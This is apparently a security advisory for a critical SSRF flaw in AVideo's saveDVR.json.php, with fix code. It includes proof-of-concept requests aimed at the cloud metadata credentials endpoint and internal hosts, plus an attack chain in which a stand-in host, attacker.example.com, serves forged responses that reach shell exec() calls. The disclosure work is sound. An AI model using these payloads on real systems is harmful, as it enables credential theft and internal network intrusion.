A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
$streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.webSiteRootURL=http://internal-service/ — reach services behind the firewall.This is the more severe attack chain:
The attacker sets up a server at https://attacker.example.com/ with the path:
/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php
That returns:
{"error": false, "response": {"key": "attacker_controlled_value"}}
The attacker sends:
POST /plugin/Live/standAloneFiles/saveDVR.json.php
webSiteRootURL=https://attacker.example.com/&saveDVR=anything
The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
The key value from the response flows into shell commands:
$DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
exec("echo \"{$endLine}\" >> {$DVRFileTarget}");exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");exec("rm -R {$tmpDVRDir}");The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:
:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.$key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.Remove the user-controlled webSiteRootURL fallback entirely. Require $streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:
// Remove this block:
// if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
// $streamerURL = $_REQUEST['webSiteRootURL'];
// }
// If $streamerURL is still empty, abort:
if (empty($streamerURL)) {
error_log("saveDVR: streamerURL is not configured");
die('saveDVR: Server not configured');
}
If the parameter must remain for backward compatibility, validate it:
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);
if ($url && preg_match('/^https?:\/\//i', $url)) {
// Resolve hostname and block private/reserved IPs
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('saveDVR: Invalid URL');
}
$streamerURL = $url;
}
}
Apply escapeshellarg() to all variables used in exec() calls, including $DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:13:26Z",
"nvd_published_at": "2026-03-23T14:16:33Z",
"severity": "CRITICAL"
}